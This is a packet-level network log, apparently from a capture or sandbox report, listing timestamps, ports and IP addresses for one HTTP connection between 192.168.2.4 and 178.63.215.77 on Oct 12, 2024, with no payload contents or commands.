Oct 12, 2024 14:17:10.943013906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943027973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943061113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943062067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943094015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943140984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943149090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943172932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943197966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943203926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943233967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943250895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943253994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943284988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943310022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943316936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943339109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943347931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943377018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943380117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943411112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943428993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943435907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943470001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943497896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943517923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943521976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943567991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943573952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943598986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943624020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943630934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943655014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943679094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943681955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943727016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943732023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943758011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943782091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943806887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943814039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943855047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943865061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943886995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943909883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943917036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943943977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943948984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.943970919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.943996906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944001913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944030046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944056034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944061995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944084883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944093943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944109917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944130898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944154024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944164991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944189072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944196939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944222927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944228888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944252014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944264889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944281101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944298029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944320917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944329023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944354057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944360971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944384098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944391966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944413900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944425106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944446087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944456100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944479942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944488049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944503069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944519997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944541931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944551945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944575071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944582939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944605112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944614887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944638014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944648981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944664001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944679976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944703102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944710970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944742918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944741964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944763899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944775105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944791079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944806099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944829941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944838047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944853067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944854975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944866896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944876909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944880962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944895029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944905043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944907904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944921970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944936037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944947958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944947958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944962025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944974899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.944977045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944989920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.944993973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945003986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945018053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945020914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945031881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945048094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945053101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945061922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945075035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945090055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945095062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945103884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945118904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945122004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945133924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945138931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945148945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945162058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945164919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945175886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945190907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945204020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945205927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945218086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945235968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945239067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945251942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.945257902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.945298910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.030514002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031023979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031080961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031131029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031178951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031212091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031227112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031264067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031296968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031327963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031361103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031414986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031414986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031414986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031424999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031476021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031507015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031538963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031568050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031615973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031646013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031675100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031706095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031725883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031759024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031764984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031805992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031831026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031836987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031886101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031898975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031933069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031934977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031965971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.031991005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.031996965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032022953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032030106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032052994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032062054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032084942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032093048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032116890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032125950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032141924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032159090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032183886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032186985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032212973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032217979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032231092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032249928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032280922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032284021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032299042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032315969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032340050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032347918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032375097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032380104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032394886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032411098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032435894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032443047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032469034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032474995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032489061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032506943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032535076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032536983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032562971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032568932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032584906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032598972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032623053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032630920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032653093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032661915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032686949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032696009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032711983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032726049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032749891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032757998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032779932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032788038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032809019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032819033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032843113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032850027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032876015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032881975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032912016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032915115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032937050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032943010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032965899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.032973051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.032989025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033004999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033035994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033037901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033058882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033067942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033091068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033097982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033122063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033128977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033144951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033159971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033183098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033190966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033214092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033222914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033245087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033257008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033279896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033291101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033304930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033323050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033339024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033354044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033376932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033385992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033406973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033413887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033438921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033463955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033487082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033495903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033521891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033529043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.033549070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.033584118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.242542982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.247805119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.434883118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.434932947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435004950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435024023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435075998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435082912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435117006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435131073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435148954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435158014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435184956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435210943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435219049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435228109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435250998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435275078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435285091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435293913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435317039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435343027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435348988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435363054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435380936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435409069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435427904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435436010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435462952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435498953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435518980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435538054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435570002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435595989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435601950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435616016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435633898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435647011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435666084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435694933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435712099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435719967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435755014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435776949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435785055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435797930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435833931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435837984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435869932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435883999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.435900927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.435914040 CEST	49730	80	192.168.2.4	178.63.215.77
